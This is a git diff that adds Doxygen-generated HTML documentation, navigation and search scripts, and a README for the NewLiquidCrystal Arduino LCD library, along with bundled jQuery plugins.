c.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[g,f,e]))},nw:function(g,f,e){return c.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[g,f,e]))}},_propagate:function(f,e){c.ui.plugin.call(this,f,[e,this.ui()]);(f!="resize"&&this._trigger(f,e,this.ui()))},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}});c.extend(c.ui.resizable,{version:"1.8.18"});c.ui.plugin.add("resizable","alsoResize",{start:function(f,g){var e=c(this).data("resizable"),i=e.options;var h=function(j){c(j).each(function(){var k=c(this);k.data("resizable-alsoresize",{width:parseInt(k.width(),10),height:parseInt(k.height(),10),left:parseInt(k.css("left"),10),top:parseInt(k.css("top"),10)})})};if(typeof(i.alsoResize)=="object"&&!i.alsoResize.parentNode){if(i.alsoResize.length){i.alsoResize=i.alsoResize[0];h(i.alsoResize)}else{c.each(i.alsoResize,function(j){h(j)})}}else{h(i.alsoResize)}},resize:function(g,i){var f=c(this).data("resizable"),j=f.options,h=f.originalSize,l=f.originalPosition;var k={height:(f.size.height-h.height)||0,width:(f.size.width-h.width)||0,top:(f.position.top-l.top)||0,left:(f.position.left-l.left)||0},e=function(m,n){c(m).each(function(){var q=c(this),r=c(this).data("resizable-alsoresize"),p={},o=n&&n.length?n:q.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];c.each(o,function(s,u){var t=(r[u]||0)+(k[u]||0);if(t&&t>=0){p[u]=t||null}});q.css(p)})};if(typeof(j.alsoResize)=="object"&&!j.alsoResize.nodeType){c.each(j.alsoResize,function(m,n){e(m,n)})}else{e(j.alsoResize)}},stop:function(e,f){c(this).removeData("resizable-alsoresize")}});c.ui.plugin.add("resizable","animate",{stop:function(i,n){var p=c(this).data("resizable"),j=p.options;var h=p._proportionallyResizeElements,e=h.length&&(/textarea/i).test(h[0].nodeName),f=e&&c.ui.hasScroll(h[0],"left")?0:p.sizeDiff.height,l=e?0:p.sizeDiff.width;var g={width:(p.size.width-l),height:(p.size.height-f)},k=(parseInt(p.element.css("left"),10)+(p.position.left-p.originalPosition.left))||null,m=(parseInt(p.element.css("top"),10)+(p.position.top-p.originalPosition.top))||null;p.element.animate(c.extend(g,m&&k?{top:m,left:k}:{}),{duration:j.animateDuration,easing:j.animateEasing,step:function(){var o={width:parseInt(p.element.css("width"),10),height:parseInt(p.element.css("height"),10),top:parseInt(p.element.css("top"),10),left:parseInt(p.element.css("left"),10)};if(h&&h.length){c(h[0]).css({width:o.width,height:o.height})}p._updateCache(o);p._propagate("resize",i)}})}});c.ui.plugin.add("resizable","containment",{start:function(f,r){var t=c(this).data("resizable"),j=t.options,l=t.element;var g=j.containment,k=(g instanceof c)?g.get(0):(/parent/.test(g))?l.parent().get(0):g;if(!k){return}t.containerElement=c(k);if(/document/.test(g)||g==document){t.containerOffset={left:0,top:0};t.containerPosition={left:0,top:0};t.parentData={element:c(document),left:0,top:0,width:c(document).width(),height:c(document).height()||document.body.parentNode.scrollHeight}}else{var n=c(k),i=[];c(["Top","Right","Left","Bottom"]).each(function(p,o){i[p]=b(n.css("padding"+o))});t.containerOffset=n.offset();t.containerPosition=n.position();t.containerSize={height:(n.innerHeight()-i[3]),width:(n.innerWidth()-i[1])};var q=t.containerOffset,e=t.containerSize.height,m=t.containerSize.width,h=(c.ui.hasScroll(k,"left")?k.scrollWidth:m),s=(c.ui.hasScroll(k)?k.scrollHeight:e);t.parentData={element:k,left:q.left,top:q.top,width:h,height:s}}},resize:function(g,q){var t=c(this).data("resizable"),i=t.options,f=t.containerSize,p=t.containerOffset,m=t.size,n=t.position,r=t._aspectRatio||g.shiftKey,e={top:0,left:0},h=t.containerElement;if(h[0]!=document&&(/static/).test(h.css("position"))){e=p}if(n.left<(t._helper?p.left:0)){t.size.width=t.size.width+(t._helper?(t.position.left-p.left):(t.position.left-e.left));if(r){t.size.height=t.size.width/i.aspectRatio}t.position.left=i.helper?p.left:0}if(n.top<(t._helper?p.top:0)){t.size.height=t.size.height+(t._helper?(t.position.top-p.top):t.position.top);if(r){t.size.width=t.size.height*i.aspectRatio}t.position.top=t._helper?p.top:0}t.offset.left=t.parentData.left+t.position.left;t.offset.top=t.parentData.top+t.position.top;var l=Math.abs((t._helper?t.offset.left-e.left:(t.offset.left-e.left))+t.sizeDiff.width),s=Math.abs((t._helper?t.offset.top-e.top:(t.offset.top-p.top))+t.sizeDiff.height);var k=t.containerElement.get(0)==t.element.parent().get(0),j=/relative|absolute/.test(t.containerElement.css("position"));if(k&&j){l-=t.parentData.left}if(l+t.size.width>=t.parentData.width){t.size.width=t.parentData.width-l;if(r){t.size.height=t.size.width/t.aspectRatio}}if(s+t.size.height>=t.parentData.height){t.size.height=t.parentData.height-s;if(r){t.size.width=t.size.height*t.aspectRatio}}},stop:function(f,n){var q=c(this).data("resizable"),g=q.options,l=q.position,m=q.containerOffset,e=q.containerPosition,i=q.containerElement;var j=c(q.helper),r=j.offset(),p=j.outerWidth()-q.sizeDiff.width,k=j.outerHeight()-q.sizeDiff.height;if(q._helper&&!g.animate&&(/relative/).test(i.css("position"))){c(this).css({left:r.left-e.left-m.left,width:p,height:k})}if(q._helper&&!g.animate&&(/static/).test(i.css("position"))){c(this).css({left:r.left-e.left-m.left,width:p,height:k})}}});c.ui.plugin.add("resizable","ghost",{start:function(g,h){var e=c(this).data("resizable"),i=e.options,f=e.size;e.ghost=e.originalElement.clone();e.ghost.css({opacity:0.25,display:"block",position:"relative",height:f.height,width:f.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof i.ghost=="string"?i.ghost:"");e.ghost.appendTo(e.helper)},resize:function(f,g){var e=c(this).data("resizable"),h=e.options;if(e.ghost){e.ghost.css({position:"relative",height:e.size.height,width:e.size.width})}},stop:function(f,g){var e=c(this).data("resizable"),h=e.options;if(e.ghost&&e.helper){e.helper.get(0).removeChild(e.ghost.get(0))}}});c.ui.plugin.add("resizable","grid",{resize:function(e,m){var p=c(this).data("resizable"),h=p.options,k=p.size,i=p.originalSize,j=p.originalPosition,n=p.axis,l=h._aspectRatio||e.shiftKey;h.grid=typeof h.grid=="number"?[h.grid,h.grid]:h.grid;var g=Math.round((k.width-i.width)/(h.grid[0]||1))*(h.grid[0]||1),f=Math.round((k.height-i.height)/(h.grid[1]||1))*(h.grid[1]||1);if(/^(se|s|e)$/.test(n)){p.size.width=i.width+g;p.size.height=i.height+f}else{if(/^(ne)$/.test(n)){p.size.width=i.width+g;p.size.height=i.height+f;p.position.top=j.top-f}else{if(/^(sw)$/.test(n)){p.size.width=i.width+g;p.size.height=i.height+f;p.position.left=j.left-g}else{p.size.width=i.width+g;p.size.height=i.height+f;p.position.top=j.top-f;p.position.left=j.left-g}}}}});var b=function(e){return parseInt(e,10)||0};var a=function(e){return !isNaN(parseInt(e,10))}})(jQuery);/*! + * jQuery hashchange event - v1.3 - 7/21/2010 + * http://benalman.com/projects/jquery-hashchange-plugin/ + * + * Copyright (c) 2010 "Cowboy" Ben Alman + * Dual licensed under the MIT and GPL licenses. + * http://benalman.com/about/license/ + */ +(function($,e,b){var c="hashchange",h=document,f,g=$.event.special,i=h.documentMode,d="on"+c in e&&(i===b||i>7);function a(j){j=j||location.href;return"#"+j.replace(/^[^#]*#?(.*)$/,"$1")}$.fn[c]=function(j){return j?this.bind(c,j):this.trigger(c)};$.fn[c].delay=50;g[c]=$.extend(g[c],{setup:function(){if(d){return false}$(f.start)},teardown:function(){if(d){return false}$(f.stop)}});f=(function(){var j={},p,m=a(),k=function(q){return q},l=k,o=k;j.start=function(){p||n()};j.stop=function(){p&&clearTimeout(p);p=b};function n(){var r=a(),q=o(m);if(r!==m){l(m=r,q);$(e).trigger(c)}else{if(q!==m){location.href=location.href.replace(/#.*/,"")+q}}p=setTimeout(n,$.fn[c].delay)}$.browser.msie&&!d&&(function(){var q,r;j.start=function(){if(!q){r=$.fn[c].src;r=r&&r+a();q=$(' + + + +
+
+
README
+
+
+

Introduction

+
+LCD library +
+

Welcome to the LCD Library for Arduino and Chipkit. It is a derivate of the original LiquidCrystal Library as sourced in the Arduino SDK. It has been developed to be compatible with the current LiquidCrystal library, its performance is almost 5 times faster and fully extendable if need be.

+

It supports most Hitachi HD44780 based LCDs, or compatible, connected to any project using: 4, 8 wire parallel interface, I2C IO port expander (native I2C and bit bang) and Shift Regiter.

+

It currently supports 4 types of connections:

+
    +
  • 4 bit parallel LCD interface
  • +
  • 8 bit parallel LCD interface
  • +
  • I2C IO bus expansion board with the PCF8574* I2C IO expander ASIC such as I2C LCD extra IO.
  • +
  • ShiftRegister adaptor board as described Shift Register project home or in the HW configuration described below, 2 and 3 wire configurations supported.
  • +
  • ShiftRegister 3 wire latch adaptor board as described ShiftRegister 3 Wire Home
  • +
  • Support for 1 wire shift register ShiftRegister 1 Wire
  • +
  • I2C bus expansion using general purpose IO lines.
  • +
+

How do I get set up?

+
    +
  • Please refer to the project's wiki
  • +
+

Contributors

+

The library has had the invaluable contribution of:

+
    +
  • piccaso - Florian Fida - Flo, thanks for testing and improving the SR library, initial version of the 1 wire interface and speed improvements.
  • +
  • B. Perry - *bperrybap.billsworld.billandterrie.com*, with his thoughtful contribution, speed improvements and development support for the SR2W library.
  • +
  • Adrian Piccioli, with his contribution to the i2c GPIO support.
  • +
  • todbot Tod E. Kurt for the softwarei2cmaster library.
  • +
+

Contribution guidelines

+
    +
  • Writing tests
  • +
  • Code review
  • +
  • Help out with bug fixing
  • +
  • Setup a project logo
  • +
  • Write new drivers to support more LCDs.
  • +
+

Who do I talk to?

+
    +
  • Repo owner or admin
  • +
  • For SoftI2CMaster latest versions, updates and support, please refer to SoftI2CMaster
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/nav_f.png b/libraries/NewliquidCrystal/utility/docs/html/nav_f.png new file mode 100644 index 0000000000000000000000000000000000000000..72a58a529ed3a9ed6aa0c51a79cf207e026deee2 GIT binary patch literal 153 zcmeAS@N?(olHy`uVBq!ia0vp^j6iI`!2~2XGqLUlQVE_ejv*C{Z|{2ZH7M}7UYxc) zn!W8uqtnIQ>_z8U literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/nav_g.png b/libraries/NewliquidCrystal/utility/docs/html/nav_g.png new file mode 100644 index 0000000000000000000000000000000000000000..2093a237a94f6c83e19ec6e5fd42f7ddabdafa81 GIT binary patch literal 95 zcmeAS@N?(olHy`uVBq!ia0vp^j6lrB!3HFm1ilyoDK$?Q$B+ufw|5PB85lU25BhtE tr?otc=hd~V+ws&_A@j8Fiv!KF$B+ufw|5=67#uj90@pIL wZ=Q8~_Ju`#59=RjDrmm`tMD@M=!-l18IR?&vFVdQ&MBb@0HFXL=0 ? varName.substring(i+1) : varName; + return eval(n.replace(/\-/g,'_')); +} + +function stripPath(uri) +{ + return uri.substring(uri.lastIndexOf('/')+1); +} + +function stripPath2(uri) +{ + var i = uri.lastIndexOf('/'); + var s = uri.substring(i+1); + var m = uri.substring(0,i+1).match(/\/d\w\/d\w\w\/$/); + return m ? uri.substring(i-6) : s; +} + +function hashValue() +{ + return $(location).attr('hash').substring(1).replace(/[^\w\-]/g,''); +} + +function hashUrl() +{ + return '#'+hashValue(); +} + +function pathName() +{ + return $(location).attr('pathname').replace(/[^-A-Za-z0-9+&@#/%?=~_|!:,.;\(\)]/g, ''); +} + +function localStorageSupported() +{ + try { + return 'localStorage' in window && window['localStorage'] !== null && window.localStorage.getItem; + } + catch(e) { + return false; + } +} + + +function storeLink(link) +{ + if (!$("#nav-sync").hasClass('sync') && localStorageSupported()) { + window.localStorage.setItem('navpath',link); + } +} + +function deleteLink() +{ + if (localStorageSupported()) { + window.localStorage.setItem('navpath',''); + } +} + +function cachedLink() +{ + if (localStorageSupported()) { + return window.localStorage.getItem('navpath'); + } else { + return ''; + } +} + +function getScript(scriptName,func,show) +{ + var head = document.getElementsByTagName("head")[0]; + var script = document.createElement('script'); + script.id = scriptName; + script.type = 'text/javascript'; + script.onload = func; + script.src = scriptName+'.js'; + if ($.browser.msie && $.browser.version<=8) { + // script.onload does not work with older versions of IE + script.onreadystatechange = function() { + if (script.readyState=='complete' || script.readyState=='loaded') { + func(); if (show) showRoot(); + } + } + } + head.appendChild(script); +} + +function createIndent(o,domNode,node,level) +{ + var level=-1; + var n = node; + while (n.parentNode) { level++; n=n.parentNode; } + if (node.childrenData) { + var imgNode = document.createElement("img"); + imgNode.style.paddingLeft=(16*level).toString()+'px'; + imgNode.width = 16; + imgNode.height = 22; + imgNode.border = 0; + node.plus_img = imgNode; + node.expandToggle = document.createElement("a"); + node.expandToggle.href = "javascript:void(0)"; + node.expandToggle.onclick = function() { + if (node.expanded) { + $(node.getChildrenUL()).slideUp("fast"); + node.plus_img.src = node.relpath+"arrowright.png"; + node.expanded = false; + } else { + expandNode(o, node, false, false); + } + } + node.expandToggle.appendChild(imgNode); + domNode.appendChild(node.expandToggle); + imgNode.src = node.relpath+"arrowright.png"; + } else { + var span = document.createElement("span"); + span.style.display = 'inline-block'; + span.style.width = 16*(level+1)+'px'; + span.style.height = '22px'; + span.innerHTML = ' '; + domNode.appendChild(span); + } +} + +var animationInProgress = false; + +function gotoAnchor(anchor,aname,updateLocation) +{ + var pos, docContent = $('#doc-content'); + var ancParent = $(anchor.parent()); + if (ancParent.hasClass('memItemLeft') || + ancParent.hasClass('fieldname') || + ancParent.hasClass('fieldtype') || + ancParent.is(':header')) + { + pos = ancParent.position().top; + } else if (anchor.position()) { + pos = anchor.position().top; + } + if (pos) { + var dist = Math.abs(Math.min( + pos-docContent.offset().top, + docContent[0].scrollHeight- + docContent.height()-docContent.scrollTop())); + animationInProgress=true; + docContent.animate({ + scrollTop: pos + docContent.scrollTop() - docContent.offset().top + },Math.max(50,Math.min(500,dist)),function(){ + if (updateLocation) window.location.href=aname; + animationInProgress=false; + }); + } +} + +function newNode(o, po, text, link, childrenData, lastNode) +{ + var node = new Object(); + node.children = Array(); + node.childrenData = childrenData; + node.depth = po.depth + 1; + node.relpath = po.relpath; + node.isLast = lastNode; + + node.li = document.createElement("li"); + po.getChildrenUL().appendChild(node.li); + node.parentNode = po; + + node.itemDiv = document.createElement("div"); + node.itemDiv.className = "item"; + + node.labelSpan = document.createElement("span"); + node.labelSpan.className = "label"; + + createIndent(o,node.itemDiv,node,0); + node.itemDiv.appendChild(node.labelSpan); + node.li.appendChild(node.itemDiv); + + var a = document.createElement("a"); + node.labelSpan.appendChild(a); + node.label = document.createTextNode(text); + node.expanded = false; + a.appendChild(node.label); + if (link) { + var url; + if (link.substring(0,1)=='^') { + url = link.substring(1); + link = url; + } else { + url = node.relpath+link; + } + a.className = stripPath(link.replace('#',':')); + if (link.indexOf('#')!=-1) { + var aname = '#'+link.split('#')[1]; + var srcPage = stripPath(pathName()); + var targetPage = stripPath(link.split('#')[0]); + a.href = srcPage!=targetPage ? url : "javascript:void(0)"; + a.onclick = function(){ + storeLink(link); + if (!$(a).parent().parent().hasClass('selected')) + { + $('.item').removeClass('selected'); + $('.item').removeAttr('id'); + $(a).parent().parent().addClass('selected'); + $(a).parent().parent().attr('id','selected'); + } + var anchor = $(aname); + gotoAnchor(anchor,aname,true); + }; + } else { + a.href = url; + a.onclick = function() { storeLink(link); } + } + } else { + if (childrenData != null) + { + a.className = "nolink"; + a.href = "javascript:void(0)"; + a.onclick = node.expandToggle.onclick; + } + } + + node.childrenUL = null; + node.getChildrenUL = function() { + if (!node.childrenUL) { + node.childrenUL = document.createElement("ul"); + node.childrenUL.className = "children_ul"; + node.childrenUL.style.display = "none"; + node.li.appendChild(node.childrenUL); + } + return node.childrenUL; + }; + + return node; +} + +function showRoot() +{ + var headerHeight = $("#top").height(); + var footerHeight = $("#nav-path").height(); + var windowHeight = $(window).height() - headerHeight - footerHeight; + (function (){ // retry until we can scroll to the selected item + try { + var navtree=$('#nav-tree'); + navtree.scrollTo('#selected',0,{offset:-windowHeight/2}); + } catch (err) { + setTimeout(arguments.callee, 0); + } + })(); +} + +function expandNode(o, node, imm, showRoot) +{ + if (node.childrenData && !node.expanded) { + if (typeof(node.childrenData)==='string') { + var varName = node.childrenData; + getScript(node.relpath+varName,function(){ + node.childrenData = getData(varName); + expandNode(o, node, imm, showRoot); + }, showRoot); + } else { + if (!node.childrenVisited) { + getNode(o, node); + } if (imm || ($.browser.msie && $.browser.version>8)) { + // somehow slideDown jumps to the start of tree for IE9 :-( + $(node.getChildrenUL()).show(); + } else { + $(node.getChildrenUL()).slideDown("fast"); + } + if (node.isLast) { + node.plus_img.src = node.relpath+"arrowdown.png"; + } else { + node.plus_img.src = node.relpath+"arrowdown.png"; + } + node.expanded = true; + } + } +} + +function glowEffect(n,duration) +{ + n.addClass('glow').delay(duration).queue(function(next){ + $(this).removeClass('glow');next(); + }); +} + +function highlightAnchor() +{ + var aname = hashUrl(); + var anchor = $(aname); + if (anchor.parent().attr('class')=='memItemLeft'){ + var rows = $('.memberdecls tr[class$="'+hashValue()+'"]'); + glowEffect(rows.children(),300); // member without details + } else if (anchor.parent().attr('class')=='fieldname'){ + glowEffect(anchor.parent().parent(),1000); // enum value + } else if (anchor.parent().attr('class')=='fieldtype'){ + glowEffect(anchor.parent().parent(),1000); // struct field + } else if (anchor.parent().is(":header")) { + glowEffect(anchor.parent(),1000); // section header + } else { + glowEffect(anchor.next(),1000); // normal member + } + gotoAnchor(anchor,aname,false); +} + +function selectAndHighlight(hash,n) +{ + var a; + if (hash) { + var link=stripPath(pathName())+':'+hash.substring(1); + a=$('.item a[class$="'+link+'"]'); + } + if (a && a.length) { + a.parent().parent().addClass('selected'); + a.parent().parent().attr('id','selected'); + highlightAnchor(); + } else if (n) { + $(n.itemDiv).addClass('selected'); + $(n.itemDiv).attr('id','selected'); + } + if ($('#nav-tree-contents .item:first').hasClass('selected')) { + $('#nav-sync').css('top','30px'); + } else { + $('#nav-sync').css('top','5px'); + } + showRoot(); +} + +function showNode(o, node, index, hash) +{ + if (node && node.childrenData) { + if (typeof(node.childrenData)==='string') { + var varName = node.childrenData; + getScript(node.relpath+varName,function(){ + node.childrenData = getData(varName); + showNode(o,node,index,hash); + },true); + } else { + if (!node.childrenVisited) { + getNode(o, node); + } + $(node.getChildrenUL()).css({'display':'block'}); + node.plus_img.src = node.relpath+"arrowdown.png"; + node.expanded = true; + var n = node.children[o.breadcrumbs[index]]; + if (index+11) hash = '#'+parts[1].replace(/[^\w\-]/g,''); + else hash=''; + } + if (hash.match(/^#l\d+$/)) { + var anchor=$('a[name='+hash.substring(1)+']'); + glowEffect(anchor.parent(),1000); // line number + hash=''; // strip line number anchors + } + var url=root+hash; + var i=-1; + while (NAVTREEINDEX[i+1]<=url) i++; + if (i==-1) { i=0; root=NAVTREE[0][1]; } // fallback: show index + if (navTreeSubIndices[i]) { + gotoNode(o,i,root,hash,relpath) + } else { + getScript(relpath+'navtreeindex'+i,function(){ + navTreeSubIndices[i] = eval('NAVTREEINDEX'+i); + if (navTreeSubIndices[i]) { + gotoNode(o,i,root,hash,relpath); + } + },true); + } +} + +function showSyncOff(n,relpath) +{ + n.html(''); +} + +function showSyncOn(n,relpath) +{ + n.html(''); +} + +function toggleSyncButton(relpath) +{ + var navSync = $('#nav-sync'); + if (navSync.hasClass('sync')) { + navSync.removeClass('sync'); + showSyncOff(navSync,relpath); + storeLink(stripPath2(pathName())+hashUrl()); + } else { + navSync.addClass('sync'); + showSyncOn(navSync,relpath); + deleteLink(); + } +} + +function initNavTree(toroot,relpath) +{ + var o = new Object(); + o.toroot = toroot; + o.node = new Object(); + o.node.li = document.getElementById("nav-tree-contents"); + o.node.childrenData = NAVTREE; + o.node.children = new Array(); + o.node.childrenUL = document.createElement("ul"); + o.node.getChildrenUL = function() { return o.node.childrenUL; }; + o.node.li.appendChild(o.node.childrenUL); + o.node.depth = 0; + o.node.relpath = relpath; + o.node.expanded = false; + o.node.isLast = true; + o.node.plus_img = document.createElement("img"); + o.node.plus_img.src = relpath+"arrowright.png"; + o.node.plus_img.width = 16; + o.node.plus_img.height = 22; + + if (localStorageSupported()) { + var navSync = $('#nav-sync'); + if (cachedLink()) { + showSyncOff(navSync,relpath); + navSync.removeClass('sync'); + } else { + showSyncOn(navSync,relpath); + } + navSync.click(function(){ toggleSyncButton(relpath); }); + } + + $(window).load(function(){ + navTo(o,toroot,hashUrl(),relpath); + showRoot(); + }); + + $(window).bind('hashchange', function(){ + if (window.location.hash && window.location.hash.length>1){ + var a; + if ($(location).attr('hash')){ + var clslink=stripPath(pathName())+':'+hashValue(); + a=$('.item a[class$="'+clslink.replace(/1|%O$WD@{VPM$7~Ar*{o?;hlAFyLXmaDC0y znK1_#cQqJWPES%4Uujug^TE?jMft$}Eq^WaR~)%f)vSNs&gek&x%A9X9sM + + + + + +New LiquidCrystal library: Related Pages + + + + + + + + + + +
+
+
+ + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+ + + + + + + +
+
+ + +
+ +
+ +
+
+
Related Pages
+
+
+
Here is a list of all related documentation pages:
+ + +
 README
+
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/resize.js b/libraries/NewliquidCrystal/utility/docs/html/resize.js new file mode 100644 index 0000000..304fcb6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/resize.js @@ -0,0 +1,97 @@ +var cookie_namespace = 'doxygen'; +var sidenav,navtree,content,header; + +function readCookie(cookie) +{ + var myCookie = cookie_namespace+"_"+cookie+"="; + if (document.cookie) + { + var index = document.cookie.indexOf(myCookie); + if (index != -1) + { + var valStart = index + myCookie.length; + var valEnd = document.cookie.indexOf(";", valStart); + if (valEnd == -1) + { + valEnd = document.cookie.length; + } + var val = document.cookie.substring(valStart, valEnd); + return val; + } + } + return 0; +} + +function writeCookie(cookie, val, expiration) +{ + if (val==undefined) return; + if (expiration == null) + { + var date = new Date(); + date.setTime(date.getTime()+(10*365*24*60*60*1000)); // default expiration is one week + expiration = date.toGMTString(); + } + document.cookie = cookie_namespace + "_" + cookie + "=" + val + "; expires=" + expiration+"; path=/"; +} + +function resizeWidth() +{ + var windowWidth = $(window).width() + "px"; + var sidenavWidth = $(sidenav).outerWidth(); + content.css({marginLeft:parseInt(sidenavWidth)+"px"}); + writeCookie('width',sidenavWidth, null); +} + +function restoreWidth(navWidth) +{ + var windowWidth = $(window).width() + "px"; + content.css({marginLeft:parseInt(navWidth)+6+"px"}); + sidenav.css({width:navWidth + "px"}); +} + +function resizeHeight() +{ + var headerHeight = header.outerHeight(); + var footerHeight = footer.outerHeight(); + var windowHeight = $(window).height() - headerHeight - footerHeight; + content.css({height:windowHeight + "px"}); + navtree.css({height:windowHeight + "px"}); + sidenav.css({height:windowHeight + "px",top: headerHeight+"px"}); +} + +function initResizable() +{ + header = $("#top"); + sidenav = $("#side-nav"); + content = $("#doc-content"); + navtree = $("#nav-tree"); + footer = $("#nav-path"); + $(".side-nav-resizable").resizable({resize: function(e, ui) { resizeWidth(); } }); + $(window).resize(function() { resizeHeight(); }); + var width = readCookie('width'); + if (width) { restoreWidth(width); } else { resizeWidth(); } + resizeHeight(); + var url = location.href; + var i=url.indexOf("#"); + if (i>=0) window.location.hash=url.substr(i); + var _preventDefault = function(evt) { evt.preventDefault(); }; + $("#splitbar").bind("dragstart", _preventDefault).bind("selectstart", _preventDefault); + $(document).bind('touchmove',function(e){ + var device = navigator.userAgent.toLowerCase(); + var ios = device.match(/(iphone|ipod|ipad)/); + if (ios) { + try { + var target = e.target; + while (target) { + if ($(target).css('-webkit-overflow-scrolling')=='touch') return; + target = target.parentNode; + } + e.preventDefault(); + } catch(err) { + e.preventDefault(); + } + } + }); +} + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_0.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_0.html new file mode 100644 index 0000000..1d46950 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_0.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_0.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_0.js new file mode 100644 index 0000000..ce610fc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_0.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['autoscroll',['autoscroll',['../class_l_c_d.html#abb3ed88d530f6283e6159b4973e7da9e',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_1.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_1.html new file mode 100644 index 0000000..1fbc509 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_1.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_1.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_1.js new file mode 100644 index 0000000..83cdee9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_1.js @@ -0,0 +1,6 @@ +var searchData= +[ + ['backlight',['backlight',['../class_l_c_d.html#aba8867fe2210cbfa8db869208709be10',1,'LCD']]], + ['begin',['begin',['../class_i2_c_i_o.html#a6f814653d903dc2ff6e8420eeb7954ae',1,'I2CIO::begin()'],['../class_l_c_d.html#a3f587d1cbb2d59765ef60a5216b56fea',1,'LCD::begin()'],['../class_liquid_crystal___i2_c.html#aeee2ada537f0cfbfda8613324b57c4a6',1,'LiquidCrystal_I2C::begin()'],['../class_liquid_crystal___i2_c___by_vac.html#a34ce9cf919b9f8de59f842a4e94c1abb',1,'LiquidCrystal_I2C_ByVac::begin()'],['../class_liquid_crystal___s_i2_c.html#a74fde8669f097755a6e8a376bb2877cb',1,'LiquidCrystal_SI2C::begin()'],['../class_s_i2_c_i_o.html#aef6df8409b67bda118c2e055af3d6f47',1,'SI2CIO::begin()']]], + ['blink',['blink',['../class_l_c_d.html#a878b36878fa8287093964eba83aace77',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_2.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_2.html new file mode 100644 index 0000000..93962b7 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_2.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_2.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_2.js new file mode 100644 index 0000000..ab2366a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_2.js @@ -0,0 +1,6 @@ +var searchData= +[ + ['clear',['clear',['../class_l_c_d.html#afa699e0beeeee03cce8cef87eba81c4a',1,'LCD']]], + ['createchar',['createChar',['../class_l_c_d.html#a91cba8f93c692abcddf8bc3de58d2d3a',1,'LCD']]], + ['cursor',['cursor',['../class_l_c_d.html#a194814f64dfa50a90e07e0fe0d361620',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_3.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_3.html new file mode 100644 index 0000000..679f93c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_3.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_3.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_3.js new file mode 100644 index 0000000..a4ce9dc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_3.js @@ -0,0 +1,6 @@ +var searchData= +[ + ['digitalread',['digitalRead',['../class_i2_c_i_o.html#ac26221011a8b49bcea9ef62712ea88a7',1,'I2CIO::digitalRead()'],['../class_s_i2_c_i_o.html#a15fe6d174fb001bca7866004e96f0b33',1,'SI2CIO::digitalRead()']]], + ['digitalwrite',['digitalWrite',['../class_i2_c_i_o.html#a473206162522b847546777d16a7c6dcd',1,'I2CIO::digitalWrite()'],['../class_s_i2_c_i_o.html#ae1e3c6fd22872f248de6a90af27d92de',1,'SI2CIO::digitalWrite()']]], + ['display',['display',['../class_l_c_d.html#a5b07cf05e8e5e7c53654f5ca0cf58b89',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_4.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_4.html new file mode 100644 index 0000000..adc99fb --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_4.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_4.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_4.js new file mode 100644 index 0000000..1edeee2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_4.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['home',['home',['../class_l_c_d.html#aee45ad37f09312f5d9982257e2d37e68',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_5.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_5.html new file mode 100644 index 0000000..a9fcd17 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_5.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
